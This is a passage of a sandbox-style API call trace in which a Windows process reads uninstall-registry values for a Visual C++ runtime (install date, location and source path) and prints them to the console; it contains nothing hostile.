(HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.439] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.439] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.439] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0150.439] GetProcessHeap () returned 0x3c0000 [0150.439] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0150.439] GetProcessHeap () returned 0x3c0000 [0150.439] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.439] GetProcessHeap () returned 0x3c0000 [0150.439] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.439] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0150.439] __iob_func () returned 0x7fefd702a80 [0150.439] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.439] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.439] _fileno (_File=0x7fefd702ab0) returned 1 [0150.439] _errno () returned 0x204bb0 [0150.439] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.439] _errno () returned 0x204bb0 [0150.439] GetFileType (hFile=0x50) returned 0x1 [0150.439] lstrlenW (lpString=" ") returned 4 [0150.439] GetConsoleOutputCP () returned 0x1b5 [0150.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.440] GetConsoleOutputCP () returned 0x1b5 [0150.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.440] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.440] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.440] lstrlenW (lpString="InstallDate") returned 11 [0150.440] __iob_func () returned 0x7fefd702a80 [0150.440] _fileno (_File=0x7fefd702ab0) returned 1 [0150.440] _errno () returned 0x204bb0 [0150.440] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.440] _errno () returned 0x204bb0 [0150.440] GetFileType (hFile=0x50) returned 0x1 [0150.440] lstrlenW (lpString="InstallDate") returned 11 [0150.440] GetConsoleOutputCP () returned 0x1b5 [0150.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.440] GetConsoleOutputCP () returned 0x1b5 [0150.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0150.440] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.440] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.441] __iob_func () returned 0x7fefd702a80 [0150.441] _fileno (_File=0x7fefd702ab0) returned 1 [0150.441] _errno () returned 0x204bb0 [0150.441] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.441] _errno () returned 0x204bb0 [0150.441] GetFileType (hFile=0x50) returned 0x1 [0150.441] lstrlenW (lpString=" ") returned 4 [0150.441] GetConsoleOutputCP () returned 0x1b5 [0150.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.441] GetConsoleOutputCP () returned 0x1b5 [0150.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.441] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.441] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.441] __iob_func () returned 0x7fefd702a80 [0150.441] _fileno (_File=0x7fefd702ab0) returned 1 [0150.441] _errno () returned 0x204bb0 [0150.441] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.441] _errno () returned 0x204bb0 [0150.441] GetFileType (hFile=0x50) returned 0x1 [0150.441] lstrlenW (lpString="REG_SZ") returned 6 [0150.441] GetConsoleOutputCP () returned 0x1b5 [0150.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.441] GetConsoleOutputCP () returned 0x1b5 [0150.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.442] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.442] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.442] __iob_func () returned 0x7fefd702a80 [0150.442] _fileno (_File=0x7fefd702ab0) returned 1 [0150.442] _errno () returned 0x204bb0 [0150.442] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.442] _errno () returned 0x204bb0 [0150.442] GetFileType (hFile=0x50) returned 0x1 [0150.442] lstrlenW (lpString=" ") returned 4 [0150.442] GetConsoleOutputCP () returned 0x1b5 [0150.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.442] GetConsoleOutputCP () returned 0x1b5 [0150.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.442] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.442] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.442] __iob_func () returned 0x7fefd702a80 [0150.442] _fileno (_File=0x7fefd702ab0) returned 1 [0150.442] _errno () returned 0x204bb0 [0150.442] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.442] _errno () returned 0x204bb0 [0150.442] GetFileType (hFile=0x50) returned 0x1 [0150.442] lstrlenW (lpString="20170630") returned 8 [0150.442] GetConsoleOutputCP () returned 0x1b5 [0150.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.443] GetConsoleOutputCP () returned 0x1b5 [0150.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0150.443] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.443] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.443] __iob_func () returned 0x7fefd702a80 [0150.443] _fileno (_File=0x7fefd702ab0) returned 1 [0150.443] _errno () returned 0x204bb0 [0150.443] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.443] _errno () returned 0x204bb0 [0150.443] GetFileType (hFile=0x50) returned 0x1 [0150.443] lstrlenW (lpString="\n") returned 1 [0150.443] GetConsoleOutputCP () returned 0x1b5 [0150.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.443] GetConsoleOutputCP () returned 0x1b5 [0150.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.443] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.443] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.443] GetProcessHeap () returned 0x3c0000 [0150.444] GetProcessHeap () returned 0x3c0000 [0150.444] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.444] GetProcessHeap () returned 0x3c0000 [0150.444] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.444] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.444] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.444] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.444] GetProcessHeap () returned 0x3c0000 [0150.444] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.444] GetProcessHeap () returned 0x3c0000 [0150.444] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.444] GetProcessHeap () returned 0x3c0000 [0150.444] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.444] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.444] __iob_func () returned 0x7fefd702a80 [0150.444] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.444] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.444] _fileno (_File=0x7fefd702ab0) returned 1 [0150.444] _errno () returned 0x204bb0 [0150.444] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.444] _errno () returned 0x204bb0 [0150.444] GetFileType (hFile=0x50) returned 0x1 [0150.444] lstrlenW (lpString=" ") returned 4 [0150.444] GetConsoleOutputCP () returned 0x1b5 [0150.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.444] GetConsoleOutputCP () returned 0x1b5 [0150.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.445] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.445] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.445] lstrlenW (lpString="InstallLocation") returned 15 [0150.445] __iob_func () returned 0x7fefd702a80 [0150.445] _fileno (_File=0x7fefd702ab0) returned 1 [0150.445] _errno () returned 0x204bb0 [0150.445] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.445] _errno () returned 0x204bb0 [0150.445] GetFileType (hFile=0x50) returned 0x1 [0150.445] lstrlenW (lpString="InstallLocation") returned 15 [0150.445] GetConsoleOutputCP () returned 0x1b5 [0150.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.445] GetConsoleOutputCP () returned 0x1b5 [0150.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0150.445] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.445] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.445] __iob_func () returned 0x7fefd702a80 [0150.445] _fileno (_File=0x7fefd702ab0) returned 1 [0150.445] _errno () returned 0x204bb0 [0150.445] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.445] _errno () returned 0x204bb0 [0150.445] GetFileType (hFile=0x50) returned 0x1 [0150.445] lstrlenW (lpString=" ") returned 4 [0150.445] GetConsoleOutputCP () returned 0x1b5 [0150.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.446] GetConsoleOutputCP () returned 0x1b5 [0150.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.446] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.446] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.446] __iob_func () returned 0x7fefd702a80 [0150.446] _fileno (_File=0x7fefd702ab0) returned 1 [0150.446] _errno () returned 0x204bb0 [0150.446] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.446] _errno () returned 0x204bb0 [0150.446] GetFileType (hFile=0x50) returned 0x1 [0150.446] lstrlenW (lpString="REG_SZ") returned 6 [0150.446] GetConsoleOutputCP () returned 0x1b5 [0150.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.446] GetConsoleOutputCP () returned 0x1b5 [0150.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.446] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.446] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.446] __iob_func () returned 0x7fefd702a80 [0150.446] _fileno (_File=0x7fefd702ab0) returned 1 [0150.446] _errno () returned 0x204bb0 [0150.447] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.447] _errno () returned 0x204bb0 [0150.447] GetFileType (hFile=0x50) returned 0x1 [0150.447] lstrlenW (lpString=" ") returned 4 [0150.447] GetConsoleOutputCP () returned 0x1b5 [0150.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.447] GetConsoleOutputCP () returned 0x1b5 [0150.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.447] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.447] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.447] __iob_func () returned 0x7fefd702a80 [0150.447] _fileno (_File=0x7fefd702ab0) returned 1 [0150.447] _errno () returned 0x204bb0 [0150.447] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.447] _errno () returned 0x204bb0 [0150.447] GetFileType (hFile=0x50) returned 0x1 [0150.447] lstrlenW (lpString="") returned 0 [0150.448] __iob_func () returned 0x7fefd702a80 [0150.448] _fileno (_File=0x7fefd702ab0) returned 1 [0150.448] _errno () returned 0x204bb0 [0150.448] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.448] _errno () returned 0x204bb0 [0150.448] GetFileType (hFile=0x50) returned 0x1 [0150.448] lstrlenW (lpString="\n") returned 1 [0150.448] GetConsoleOutputCP () returned 0x1b5 [0150.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.448] GetConsoleOutputCP () returned 0x1b5 [0150.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.448] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.448] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.448] GetProcessHeap () returned 0x3c0000 [0150.448] GetProcessHeap () returned 0x3c0000 [0150.448] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.448] GetProcessHeap () returned 0x3c0000 [0150.448] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.448] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.448] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.448] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xe4) returned 0x0 [0150.448] GetProcessHeap () returned 0x3c0000 [0150.448] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe6) returned 0x3dce90 [0150.448] GetProcessHeap () returned 0x3c0000 [0150.448] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0150.449] GetProcessHeap () returned 0x3c0000 [0150.449] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe6 [0150.449] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dce90, pcbData=0x29f780*=0xe4 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\", pcbData=0x29f780*=0xe2) returned 0x0 [0150.449] __iob_func () returned 0x7fefd702a80 [0150.449] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.449] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.449] _fileno (_File=0x7fefd702ab0) returned 1 [0150.449] _errno () returned 0x204bb0 [0150.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.449] _errno () returned 0x204bb0 [0150.449] GetFileType (hFile=0x50) returned 0x1 [0150.449] lstrlenW (lpString=" ") returned 4 [0150.449] GetConsoleOutputCP () returned 0x1b5 [0150.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.449] GetConsoleOutputCP () returned 0x1b5 [0150.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.449] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.449] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.449] lstrlenW (lpString="InstallSource") returned 13 [0150.449] __iob_func () returned 0x7fefd702a80 [0150.449] _fileno (_File=0x7fefd702ab0) returned 1 [0150.449] _errno () returned 0x204bb0 [0150.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.449] _errno () returned 0x204bb0 [0150.449] GetFileType (hFile=0x50) returned 0x1 [0150.449] lstrlenW (lpString="InstallSource") returned 13 [0150.450] GetConsoleOutputCP () returned 0x1b5 [0150.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.450] GetConsoleOutputCP () returned 0x1b5 [0150.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0150.450] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.450] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.450] __iob_func () returned 0x7fefd702a80 [0150.450] _fileno (_File=0x7fefd702ab0) returned 1 [0150.450] _errno () returned 0x204bb0 [0150.450] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.450] _errno () returned 0x204bb0 [0150.450] GetFileType (hFile=0x50) returned 0x1 [0150.450] lstrlenW (lpString=" ") returned 4 [0150.450] GetConsoleOutputCP () returned 0x1b5 [0150.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.450] GetConsoleOutputCP () returned 0x1b5 [0150.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.450] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.450] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.451] __iob_func () returned 0x7fefd702a80 [0150.451] _fileno (_File=0x7fefd702ab0) returned 1 [0150.451] _errno () returned 0x204bb0 [0150.451] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.451] _errno () returned 0x204bb0 [0150.451] GetFileType (hFile=0x50) returned 0x1 [0150.451] lstrlenW (lpString="REG_SZ") returned 6 [0150.451] GetConsoleOutputCP () returned 0x1b5 [0150.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.451] GetConsoleOutputCP () returned 0x1b5 [0150.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.451] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.451] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.451] __iob_func () returned 0x7fefd702a80 [0150.451] _fileno (_File=0x7fefd702ab0) returned 1 [0150.451] _errno () returned 0x204bb0 [0150.451] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.451] _errno () returned 0x204bb0 [0150.451] GetFileType (hFile=0x50) returned 0x1 [0150.451] lstrlenW (lpString=" ") returned 4 [0150.451] GetConsoleOutputCP () returned 0x1b5 [0150.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.451] GetConsoleOutputCP () returned 0x1b5 [0150.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.452] fprintf (in: _File=0x7fefd702ab0, 